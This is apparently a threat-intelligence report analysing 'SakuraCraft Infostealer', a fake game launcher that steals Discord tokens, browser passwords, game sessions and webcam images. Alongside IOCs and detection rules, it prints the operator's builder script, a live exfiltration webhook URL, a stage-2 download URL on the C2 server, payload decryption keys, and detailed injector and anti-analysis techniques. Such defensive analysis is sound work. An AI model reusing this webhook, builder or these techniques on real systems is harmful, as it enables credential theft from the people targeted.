SakuraCraft Infostealer — Multi-Stage Discord Token & Browser Credential Stealer
Kaspersky Detection: HEUR:Trojan-PSW.JS.Disco.gen | VT: 1/76 | First Seen: 2026-03-14
Executive Summary
SakuraCraft Infostealer is a sophisticated multi-stage credential theft framework distributed as a fake "SakuraCraft Launcher" game client (Electron NSIS installer, ~80 MB). The malware targets Windows gamers, stealing Discord authentication tokens, browser credentials from 60+ browsers, game session files, WiFi passwords, screenshots, and webcam images — then exfiltrating everything to a Discord webhook. A persistent Discord injector is written into the Discord client to capture future login credentials, 2FA codes, and tokens.
The threat actor operates a Hetzner VPS in Helsinki (95.217.249.153) that was left with an open directory listing on port 8080, exposing the complete build infrastructure — including the obfuscator, builder scripts, and the compiled installer. Turkish-language comments in server scripts and an author alias of "chris wilson" in build metadata provide attribution leads. The campaign's Discord infrastructure was assembled between December 2025 and March 2026.
Why it matters: Fully evasive (0/76 for stage 2, 1/76 for stage 1). Persists via Discord injection. Steals 2FA backup codes. The open C2 directory is an exceptional intelligence opportunity for infrastructure pivoting.
Sample Metadata
| Field | Value |
|---|---|
| SHA256 | 69d9013d2756b11c6b5b779d54722453857bc4f3670e2270b521ad97aef994e7 |
| MD5 | a4bf3295216c9463ca1873abd382d352 |
| SHA1 | edc664e00e2bd37aa5e3ffcf6182c6fda23fe2d1 |
| Filename | payload.js |
| File Type | JavaScript (Node.js) |
| File Size | 101,540 bytes (2,058 lines) |
| First Seen | 2026-03-14 03:33:59 UTC |
| Last Seen | 2026-03-14 03:35:44 UTC |
| Reporter | zhuzhu0009 |
| VT Detections | 1/76 (Kaspersky: HEUR:Trojan-PSW.JS.Disco.gen) |
| Tags | javascript, long-sleeps |
Stage 2: browser_stealer.py
| Field | Value |
|---|---|
| SHA256 | ffd73363ddaf235c28bc46f47b455d4a14178f5bab79ff384bcfc6f2de0ebcc0 |
| MD5 | 747c79ffa2401db15cf508d24c34332a |
| Size (encrypted) | 252,549 bytes |
| Size (decrypted) | 151,143 bytes (3,957 lines) |
| VT Detections | 0/76 — fully undetected |
| Source | http://95.217.249.153:8080/downloads/browser_stealer.py |
Stage 0: NSIS Dropper (SakuraCraft Launcher)
| Field | Value |
|---|---|
| Filename | SakuraCraft Launcher-Setup-5.18.23.exe |
| File Type | PE32 NSIS installer (Nullsoft v3.04), requires administrator elevation |
| Size | 79,996,230 bytes (~76 MB, includes Node.js + Electron runtime) |
| Build Date | 2026-03-11 21:57:48 UTC |
| Product Name | SakuraCraft Launcher |
| Publisher | SakuraCraft |
| App ID | com.kjvkrg.czpozn |
| Electron Version | 30.5.1 |
| NSIS Version | v3.04 |
| Source | http://95.217.249.153:8080/builder/dist/SakuraCraft%20Launcher-Setup-5.18.23.exe |
Static Analysis
Stage 0 — NSIS Dropper (SakuraCraft Launcher-Setup-5.18.23.exe)
The installer is a standard Electron application packaged with electron-builder and wrapped in an NSIS installer. It requests administrator elevation (requireAdministrator) and installs system-wide (perMachine: true). The installer creates desktop and start menu shortcuts for "SakuraCraft" — mimicking a legitimate game launcher.
Build script (build.bat) — exposed on C2:
@echo off
set /p NEW_WEBHOOK="Enter New Discord Webhook URL: "
powershell -Command "(Get-Content payload.js) -replace 'WEBHOOK:\s*\".*?\"', 'WEBHOOK: \"!NEW_WEBHOOK!\"' | Set-Content payload.js"
cd builder
npm run build
This reveals a builder workflow: the operator enters a Discord webhook URL, it gets substituted into payload.js, then npm run build packages it via electron-builder. This is a builder kit — multiple operators can configure their own webhook and build unique samples.
Obfuscation pipeline (obfuscator.js): The raw payload.js is processed through javascript-obfuscator with AES encryption, then further protected with XOR, Base64 rotation, and a multi-layer encoding wrapper before being saved as builder/crypted.js (7.5 MB obfuscated output).
Stage 1 — payload.js (Node.js infostealer core)
Hardcoded configuration:
const CONFIG = {
WEBHOOK: "https://canary.discord.com/api/webhooks/1479313265384358053/Xtg0Qwh_nuVuEKhOy9Ckt_r0vs9aPMdUKd6bmC72xAFl3v5cDdzarH-8_ZrTvkfZUrdF",
FOOTER_ICON: "https://cdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.png",
...
}
Module architecture:
Logger— writesdebug.logto TEMP; flushes every 5 secondsUtils— filesystem helpers, temp dir creationProcessManager—taskkill /F /IMfor Discord/Steam/Epic processesNetworkManager— webhook POST (axios + native fallback), file upload, file downloadCryptoManager— DPAPI decryption (via PowerShell ordatavault-winnative module), AES-256-GCM browser key decryption,dQw4w9WgXcQ:token format decodingZipManager— adm-zip + PowerShellCompress-ArchivefallbackTokenStealer— LevelDB scanning, token extraction/validation via Discord API, billing/2FA/friends/guilds enumerationSessionStealer— 24 game/app session targetsDiscordInjector— patchesdiscord_desktop_core/index.jsPythonBrowserStealer— downloads and executes stage 2CompleteDataCollector— orchestrates all collectionWebcamCapture— PowerShell WIA COM objectSystemInfoCollector— screenshot, WiFi profilesMainOrchestrator— entry point
Key encrypted token format: Discord tokens stored in Chromium's LevelDB are wrapped with dQw4w9WgXcQ: followed by base64-encoded AES-256-GCM ciphertext. CryptoManager.decryptToken() splits on this marker and decrypts with the browser's master key.
Browser path enumeration:
const BROWSER_PATHS = {
DISCORD: { 'Discord', 'Discord Canary', 'Discord PTB', 'Discord Development', 'Lightcord' },
BROWSERS: { 'Chrome', 'Chrome Beta', 'Chrome Canary', 'Chromium', 'Edge', 'Brave',
'Opera', 'Opera GX', 'Vivaldi', 'Yandex', 'Epic Privacy', 'Firefox' }
}
Token validation: Each extracted token is validated against https://discord.com/api/v9/users/@me before exfiltration.
Exfiltration data per token (sent as Discord embed):
- Username, discriminator, avatar
- Account creation date
- Phone/email presence
- Nitro status and subscription duration badge
- Badge flags (Discord Employee, Bug Hunter, HypeSquad, etc.)
- Payment sources (PayPal / credit card icons)
- 2FA status and type
- High-value friends list (accounts with staff/nitro/verified badges)
- Guild list
- 2FA backup codes (attempted via
/api/v9/users/@me/mfa/codes)
Session stealer targets (24 apps):
| App | Method | Target Data |
|---|---|---|
| Steam | File copy | loginusers.vdf, config.vdf, ssfn files |
| Minecraft | File copy | launcher_profiles.json, Lunar Client accounts.json |
| Epic Games | File copy | GameUserSettings.ini |
| Riot Games | File copy | RiotClientPrivateSettings.yaml, session data |
| Battle.net | File copy | Battle.net.config, fingerprint |
| Origin/EA | Regex files | XML/JSON/SQLite config files |
| Ubisoft | Regex files | DAT/DB/JSON/YAML files |
| Roblox | Registry query + files | HKCU\Software\Roblox .ROBLOSECURITY value |
| Rockstar | Regex files | INI/DAT/JSON/XML |
| Spotify | Subdirectory files | credentials.json, prefs |
| Twitch | Regex files | DB/JSON/SQLite (max 10 MB) |
| FileZilla | File copy | sitemanager.xml, recentservers.xml |
| WinSCP | Registry export | HKCU\Software\Martin Prikryl\WinSCP 2\Sessions |
| PuTTY | Registry export | Sessions + HostKeys |
| Genshin Impact | Regex files | DAT/JSON/INI |
| LevelDB files | .log, .ldb (max 50 MB) | |
| Skype | Subdirectory files | main.db, keychain.json |
| Zoom | File copy + regex | zoomus.conf, token, DB files |
| Wargaming | Regex files | DAT/JSON/XML |
| Regex files | DAT/DB/config (max 5 MB) | |
| Guilded | LevelDB files | .log, .ldb |
| Growtopia | File copy | save.dat |
Additional collection:
- Screenshot via PowerShell
System.Windows.Forms.Screen - WiFi profiles via
netsh wlan show profiles+key=clear - Webcam capture via PowerShell WIA COM object
Stage 1 — Discord Injector
After first run, the malware patches the Discord client itself by overwriting discord_desktop_core/index.js. The injected code:
- Intercepts
ses.webRequest.onBeforeSendHeadersfor Discord API URLs - Captures the
Authorizationtoken from request headers - Hooks
/auth/loginPOST to capture plaintext email + password - Hooks
/users/@mePATCH to capture password changes and email changes - Hooks
/mfa/totpPOST to capture 2FA codes and tickets - Injects JavaScript into Discord windows to extract token via
webpackChunkdiscord_app
All captured data is sent to the same Discord webhook. This creates persistent credential capture even after the initial run.
Stage 2 — browser_stealer.py (Python, AES-GCM + XOR + zlib encrypted)
Encryption scheme:
# Key derivation
master_key = base64.b64decode("l41i17wMrY+CKpS708Y4WgTDdonW0AFv" + "HBiapniap1M=")
salt = base64.b64decode("EKI5aYkP+Ce/jf1fznImfg==")
derived_key = PBKDF2(master_key, salt, dkLen=32, count=100000) # SHA1-HMAC
# Inner decoding: AES-256-GCM → base64×4 → zlib decompress → XOR key \xd9\xd8\x48\xab\xfa\x18\x09\x97\x42\xc4\xca
Anti-analysis checks:
sys.gettrace()debugger detection- Module name check for pdb/pydevd/debugpy
- Timing attack (1000 iterations timing check >2s → exit)
kernel32.IsDebuggerPresent()via ctypes- VM artifact detection: VMware, VirtualBox, VBOX, QEMU, Xen, HYPER-V in computer name
- CPU count < 2 → sleep(5) before continuing
- Self-elevates via
ShellExecuteExWwithrunasverb if not running as admin
Browser targets (60+): Chrome, Chrome Beta, Chrome Canary, Chromium, Edge, Brave, Opera, Opera GX, Opera Crypto, Vivaldi, Yandex, Epic Privacy, Firefox, Tor Browser, and ~50 additional browsers
Data extracted per browser profile:
- Saved passwords (URL, username, plaintext decrypted password)
- Cookies (Netscape format)
- Autofill data
- Credit card details (number, expiry, cardholder name)
- Browsing history
Output: Creates output.zip in script directory; stage 1 extracts and places All Passwords.txt and All Cookies.txt at root, browser-specific files under Browsers/<browser>/<profile>/
Infection Chain
Victim browses for game launcher / clicks malicious link
│
▼
SakuraCraft Launcher-Setup-5.18.23.exe [NSIS, ~80MB, RequireAdministrator]
│ Installs Electron app, creates shortcuts
▼
crypted.js [7.5MB obfuscated via javascript-obfuscator + AES + XOR + B64]
│ Decoded at runtime → executes payload.js logic
▼
payload.js [Node.js, 101KB, ~2K lines]
│
├──► Kill: Discord.exe, DiscordCanary.exe, DiscordPTB.exe
│ Kill: Steam.exe, Growtopia.exe, EpicGamesLauncher.exe, javaw.exe
│
├──► TokenStealer
│ ├─ Scan LevelDB: %APPDATA%\discord\*\Local Storage\leveldb\*
│ ├─ Decrypt: CryptoManager.getEncryptionKey() → DPAPI → AES-256-GCM
│ ├─ Decode: dQw4w9WgXcQ: format tokens
│ ├─ Validate: GET discord.com/api/v9/users/@me
│ └─ Enrich: billing, 2FA type, friends, guilds, badges
│
├──► SystemInfoCollector
│ ├─ Screenshot (PowerShell System.Drawing)
│ └─ WiFi profiles (netsh wlan)
│
├──► SessionStealer (24 apps)
│ └─ Steam, Minecraft, Epic, Riot, BattleNet, Origin, Ubisoft,
│ Roblox, Rockstar, Spotify, Twitch, FileZilla, WinSCP, PuTTY,
│ Genshin, WhatsApp, Skype, Zoom, Wargaming, WeChat, Guilded, etc.
│
├──► PythonBrowserStealer
│ ├─ Find/install Python (system or download embed from python.org)
│ ├─ Install pip (bootstrap.pypa.io/get-pip.py)
│ ├─ pip install pycryptodome psutil
│ ├─ Download browser_stealer.py from http://95.217.249.153:8080/downloads/
│ │ [AES-GCM + b64×4 + zlib + XOR encrypted payload]
│ ├─ Execute: anti-debug checks → elevate → extract credentials
│ └─ Output: %TEMP%\output.zip → extract to ./Browsers/
│
├──► WebcamCapture (PowerShell WIA COM)
│
├──► DiscordInjector
│ ├─ Find discord_desktop_core/index.js in %LOCALAPPDATA%\Discord*\app-*\
│ ├─ Overwrite with injector code
│ └─ Persistent capture: tokens, logins, password changes, 2FA codes
│
├──► TokenStealer.extractBackupCodes()
│ └─ API request /api/v9/users/@me/mfa/codes for each validated token
│
└──► CompleteDataCollector.zipAndSend()
├─ ZIP all collected data
└─ POST to Discord webhook (canary.discord.com)
with token embeds + attached ZIP file
Network Indicators
C2 Server
| Field | Value |
|---|---|
| IP | 95.217.249.153 |
| ASN | AS24940 |
| Provider | Hetzner Online GmbH |
| Country | Finland (Helsinki) |
| Netblock | 95.217.249.152/29 (POWERVPS-LIMITED, HOS-1119833) |
| OS | Windows |
| Hostname | WIN-LIVFRVQFMKO.home (OPSEC mistake) |
| Last Seen | 2026-03-13 19:05:15 UTC (Shodan) |
Open ports on C2:
| Port | Service | Details |
|---|---|---|
| 25/tcp | MailEnable SMTP 10.54 | Server: WIN-LIVFRVQFMKO.home |
| 53/udp | DNS | — |
| 80/tcp | Microsoft HTTPAPI 2.0 | Returns 404 |
| 5985/tcp | WinRM | Remote management (NTLM auth) |
| 8080/tcp | Python SimpleHTTP 0.6 (Python 3.14.3) | OPEN DIRECTORY — exposes full build kit |
| 8443/tcp | Plesk Obsidian 18.0.76 | Admin panel (IIS 10.0) |
| 8880/tcp | Microsoft IIS 10.0 | Redirects to HTTPS |
Exposed C2 Files (Open Directory — Port 8080)
| Path | Description |
|---|---|
/build.bat | Builder workflow script (webhook substitution → npm build) |
/obfuscator.js | JS obfuscation pipeline (javascript-obfuscator + AES + XOR + B64) |
/payload.js | Stage 1 stealer source (same as analyzed sample) |
/package.json | Root npm metadata (javascript-obfuscator, fs-extra) |
/serve_downloads.py | Python HTTP server script (Turkish language comments) |
/builder/crypted.js | Stage 1 obfuscated (7.5 MB) |
/builder/debug_obfuscated_payload.js | Debug obfuscated version (407 KB) |
/builder/package.json | Builder metadata: author="chris wilson", product="SakuraCraft Launcher" |
/builder/build/icon.ico | Application icon |
/builder/dist/SakuraCraft Launcher-Setup-5.18.23.exe | Live installer (~80 MB, NSIS PE32) |
/builder/dist/builder-effective-config.yaml | Build configuration |
/downloads/browser_stealer.py | Stage 2 encrypted Python browser stealer |
Discord Exfiltration Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| Webhook URL | https://canary.discord.com/api/webhooks/1479313265384358053/... | Full URL in IOCs section |
| Webhook ID | 1479313265384358053 | Created: 2026-03-06 03:02:46 UTC |
| Channel ID | 1476974656446660708 | Created: 2026-02-27 16:09:58 UTC |
| Discord Server | Emoji guild 1455996151861084261 | Created: 2025-12-31 18:48:53 UTC |
| Bot username | Logger | Username used in all webhook POSTs |
| Footer icon | cdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.png | — |
Behavioral Analysis (Inferred from Static + OSINT)
-
Initial Execution: Victim runs
SakuraCraft Launcher-Setup-5.18.23.exe. NSIS installer extracts Electron app, registers start menu/desktop shortcut, runs as admin. Electron loadscrypted.js. -
Process Termination:
taskkill /F /IMkills Discord clients (to unlock LevelDB files) and game clients (Steam, Epic, Growtopia, javaw.exe). -
Credential Extraction: Scans browser LevelDB storage for Discord tokens. Decrypts using DPAPI (via PowerShell or native
datavault-winmodule). Validates each token against Discord API. -
Data Collection: Screenshot captured via PowerShell. WiFi passwords extracted. 24 game/app session stores copied. 2FA backup codes requested for valid tokens.
-
Python Stage Download: Attempts to find system Python; if not found, downloads Python 3.14.2 embedded from
python.org, installs to%LOCALAPPDATA%\HostService\py\. Downloadsbrowser_stealer.pyfrom C2 port 8080. -
Browser Credential Theft: Encrypted Python script self-decrypts, checks for debuggers/VMs, self-elevates, kills browsers, extracts passwords/cookies/autofill/credit cards from 60+ browsers. Saves
output.zip. -
Discord Injection (Persistence): Overwrites
discord_desktop_core/index.jsin every installed Discord variant. Future Discord logins, token retrievals, password changes, and 2FA events are intercepted and sent to webhook. -
Exfiltration: All data zipped, sent to Discord webhook as file attachment with rich embed per stolen account.
MITRE ATT&CK TTPs
| Technique ID | Name | Implementation |
|---|---|---|
| T1566.002 | Phishing: Spearphishing Link | Fake game launcher distributed link |
| T1204.002 | User Execution: Malicious File | NSIS installer execution |
| T1548.002 | Abuse Elevation Control Mechanism: Bypass UAC | requireAdministrator NSIS, Python ShellExecuteExW runas |
| T1059.007 | Command and Scripting: JavaScript | Electron-wrapped Node.js payload |
| T1059.006 | Command and Scripting: Python | Browser stealer stage 2 |
| T1059.001 | Command and Scripting: PowerShell | DPAPI decryption, screenshot, webcam |
| T1027 | Obfuscated Files or Information | javascript-obfuscator, AES-GCM + XOR + zlib + base64×4 |
| T1027.010 | Command Obfuscation | Multi-layer encoding in browser_stealer.py |
| T1036 | Masquerading | "SakuraCraft Launcher" fake game client |
| T1105 | Ingress Tool Transfer | Downloads Python runtime + browser_stealer.py from C2 |
| T1055 | Process Injection | N/A — uses file-based Discord injection |
| T1082 | System Information Discovery | OS info, computer name |
| T1083 | File and Directory Discovery | Scans LevelDB, browser profiles |
| T1057 | Process Discovery | Finds browser processes to kill |
| T1485 | Data Destruction | taskkill /F on Discord/browser processes |
| T1555.003 | Credentials from Web Browsers | Chrome/Edge/Firefox/60+ browsers |
| T1539 | Steal Web Session Cookie | Netscape cookie extraction |
| T1552.001 | Unsecured Credentials: Files | Steam, Minecraft, game session files |
| T1552.002 | Unsecured Credentials: Registry | Roblox .ROBLOSECURITY, WinSCP, PuTTY |
| T1056.004 | Input Capture: Credential API Hooking | Discord injector via webRequest.onBeforeSendHeaders |
| T1113 | Screen Capture | PowerShell screenshot |
| T1125 | Video Capture | WebcamCapture via WIA COM |
| T1016 | System Network Configuration Discovery | WiFi profiles via netsh wlan |
| T1041 | Exfiltration Over C2 Channel | Discord webhook |
| T1567.002 | Exfiltration Over Web Service | Discord webhook as exfiltration channel |
| T1553 | Subvert Trust Controls | NODE_TLS_REJECT_UNAUTHORIZED = '0' |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | VM name check, debugger detection, timing checks |
| T1622 | Debugger Evasion | sys.gettrace(), IsDebuggerPresent(), module name checks |
| T1078 | Valid Accounts | Stolen Discord tokens used directly |
| T1176 | Browser Extensions | Reads Chrome/Edge extension storage |
IOCs
File Hashes
| Hash Type | Value | File |
|---|---|---|
| SHA256 | 69d9013d2756b11c6b5b779d54722453857bc4f3670e2270b521ad97aef994e7 | payload.js (stage 1) |
| MD5 | a4bf3295216c9463ca1873abd382d352 | payload.js (stage 1) |
| SHA1 | edc664e00e2bd37aa5e3ffcf6182c6fda23fe2d1 | payload.js (stage 1) |
| SHA256 | ffd73363ddaf235c28bc46f47b455d4a14178f5bab79ff384bcfc6f2de0ebcc0 | browser_stealer.py (stage 2, encrypted) |
| MD5 | 747c79ffa2401db15cf508d24c34332a | browser_stealer.py (stage 2, encrypted) |
Network IOCs
| Type | Value | Context |
|---|---|---|
| IP | 95.217.249.153 | C2 server (Hetzner, Helsinki, AS24940) |
| URL | http://95.217.249.153:8080/downloads/browser_stealer.py | Stage 2 download |
| URL | http://95.217.249.153:8080/ | Open directory (build kit) |
| URL | https://canary.discord.com/api/webhooks/1479313265384358053/Xtg0Qwh_nuVuEKhOy9Ckt_r0vs9aPMdUKd6bmC72xAFl3v5cDdzarH-8_ZrTvkfZUrdF | Exfiltration webhook |
| Domain | canary.discord.com | Webhook exfiltration endpoint |
| URL | https://cdn.discordapp.com/attachments/1476974656446660708/1479046754099003512/image.png | Bot avatar/footer icon |
Crypto Keys & Embedded Secrets
| Type | Value | Context |
|---|---|---|
| AES Master Key (b64) | l41i17wMrY+CKpS708Y4WgTDdonW0AFvHBiapniap1M= | browser_stealer.py PBKDF2 master key |
| PBKDF2 Salt (b64) | EKI5aYkP+Ce/jf1fznImfg== | browser_stealer.py key derivation salt |
| XOR Key (hex) | d9 d8 48 ab fa 18 09 97 42 c4 ca | Inner deobfuscation in browser_stealer.py |
| Discord Webhook ID | 1479313265384358053 | Exfiltration endpoint identifier |
| Discord Channel ID | 1476974656446660708 | Exfiltration target channel |
Registry Keys
| Key | Purpose |
|---|---|
HKCU\Software\Roblox\RobloxStudioBrowser\http://www.roblox.com\.ROBLOSECURITY | Roblox session cookie theft |
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions | WinSCP credential theft |
HKCU\Software\SimonTatham\PuTTY\Sessions | PuTTY session theft |
Filesystem Artifacts
| Path | Description |
|---|---|
%TEMP%\debug.log | Malware debug log |
%LOCALAPPDATA%\HostService\py\python.exe | Persistent Python installation |
%TEMP%\browser_<id>.py | Temporary browser stealer script |
%TEMP%\output.zip | Browser data archive |
%TEMP%\dpapi_<id>.ps1 | Temporary DPAPI decryption script |
%TEMP%\ss_<id>.ps1 | Temporary screenshot script |
%TEMP%\wc_<id>.ps1 | Temporary webcam capture script |
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core-*\discord_desktop_core\index.js | Injected Discord client file |
Campaign Context & Timeline
| Date | Event |
|---|---|
| 2025-12-31 | Discord server (emoji guild 1455996151861084261) created |
| 2026-02-27 | Discord channel 1476974656446660708 created (exfiltration channel) |
| 2026-03-06 | Discord webhook 1479313265384358053 created |
| 2026-03-11 | SakuraCraft Launcher-Setup-5.18.23.exe compiled and uploaded to C2 |
| 2026-03-13 | Shodan last scan of C2 (ports enumerated) |
| 2026-03-14 03:33 | payload.js first submitted to VirusTotal (reporter: zhuzhu0009) |
| 2026-03-14 07:09 | C2 server actively serving installer (confirmed via HEAD request) |
The campaign appears to be active and ongoing — the C2 server was live at analysis time with the installer still available for download.
Attribution
Confidence: MEDIUM
Evidence:
-
Turkish-language OPSEC failure: The
serve_downloads.pyfile on the C2 server contains developer comments exclusively in Turkish:- "Minimal HTTP server: .py dosyalarini tarayicida kaynak kodu olarak gosterir" (displays .py files as source in browser)
- "Sunucu dinleniyor" (Server listening)
- "Cikis" (Exit)
- "Ekran goruntusundeki gibi davranir" (Behaves as in the screenshot)
-
Author alias:
package.jsonin the builder directory declares"author": "chris wilson"— a Western-sounding alias, likely chosen to obscure Turkish origins. -
Product naming: "SakuraCraft" targets the gaming community — specifically Minecraft-adjacent players who would recognize "Craft" style game names.
-
Infrastructure OPSEC failure: Running a Python SimpleHTTP server on the C2 exposed the entire build kit at
http://95.217.249.153:8080/. This included source code, build scripts, the compiled installer, and stage 2 payload. -
Machine hostname leak: The SMTP banner reveals the operator's machine hostname:
WIN-LIVFRVQFMKO.home— a randomly generated Windows hostname typical of unmodified VPS installs. -
MaaS indicators: The
build.batscript with interactive webhook entry suggests this may be part of a Malware-as-a-Service (MaaS) kit, where customers configure their own exfiltration endpoint. -
Campaign duration: Infrastructure assembled over 2.5 months (December 2025 – March 2026), suggesting a motivated actor with a clear operational plan.
Threat Actor Profile: Individual or small group, intermediate technical capability, financially motivated, Turkish-speaking, targeting gaming communities via fake game launcher distribution.
Infrastructure Map
Threat Actor (Turkish-speaking, alias: "chris wilson")
│
│ Operates / Develops
▼
95.217.249.153 (Hetzner AS24940, Helsinki, Finland)
├── :25 MailEnable SMTP 10.54 (HOSTNAME: WIN-LIVFRVQFMKO.home)
├── :53 DNS
├── :80 IIS (404)
├── :5985 WinRM (remote operator access)
├── :8080 Python SimpleHTTP 3.14.3 [OPEN DIRECTORY]
│ ├── /build.bat ← build script
│ ├── /payload.js ← stage 1 source
│ ├── /obfuscator.js ← obfuscation pipeline
│ ├── /builder/crypted.js ← obfuscated stage 1 (7.5MB)
│ ├── /builder/dist/ ← compiled installers
│ │ └── SakuraCraft Launcher-Setup-5.18.23.exe
│ └── /downloads/
│ └── browser_stealer.py ← stage 2 (AES+XOR encrypted)
└── :8443 Plesk Obsidian 18.0.76 (web hosting panel)
│ Downloads
▼
Victim Machine (Windows, gamer)
│
├── SakuraCraft Launcher-Setup-5.18.23.exe (NSIS, ~80MB)
│ └── crypted.js → payload.js (Node.js via Electron 30.5.1)
│ ├── Steals Discord tokens (LevelDB scan + DPAPI)
│ ├── Downloads browser_stealer.py from C2:8080
│ ├── Steals 60+ browser creds (Python)
│ ├── Steals 24 game/app sessions
│ ├── Screenshots + webcam
│ ├── WiFi passwords
│ └── Injects Discord client (persistent)
│
│ Exfiltrates via
▼
Discord Canary Webhook
Server created: 2025-12-31
Channel created: 2026-02-27
Webhook created: 2026-03-06
Webhook ID: 1479313265384358053
Channel: 1476974656446660708
Detection Guidance
Endpoint
- File monitoring: Alert on writes to
discord_desktop_core/index.jsby non-Discord processes - Process creation: Alert on
powershell.exespawned fromElectron.exeornode.exe - Network: Alert on outbound HTTP to
95.217.249.153:8080 - Registry: Alert on
reg exportofHKCU\Software\Martin PrikrylorHKCU\Software\SimonTatham - File path: Alert on
%LOCALAPPDATA%\HostService\py\python.execreation - Process kill: Alert on mass
taskkill /Ftargeting Discord.exe, Steam.exe in sequence
Network
- Block
95.217.249.153(all ports) - Block/alert Discord webhook POSTs with
"username":"Logger"in body - Alert on POST to
canary.discord.com/api/webhooks/1479313265384358053/ - Alert on downloads from
python.orgembed zips from non-admin contexts - Alert on outbound
bootstrap.pypa.io/get-pip.pyfetches
YARA / Signature
See yara_rules.yar for six rules targeting stage 1, stage 2, and the installer.
Network Detection (Suricata)
See suricata.rules for 18 network detection rules.
Report generated by GHOST — Breakglass Intelligence | 2026-03-14 Classification: TLP:WHITE — Freely shareable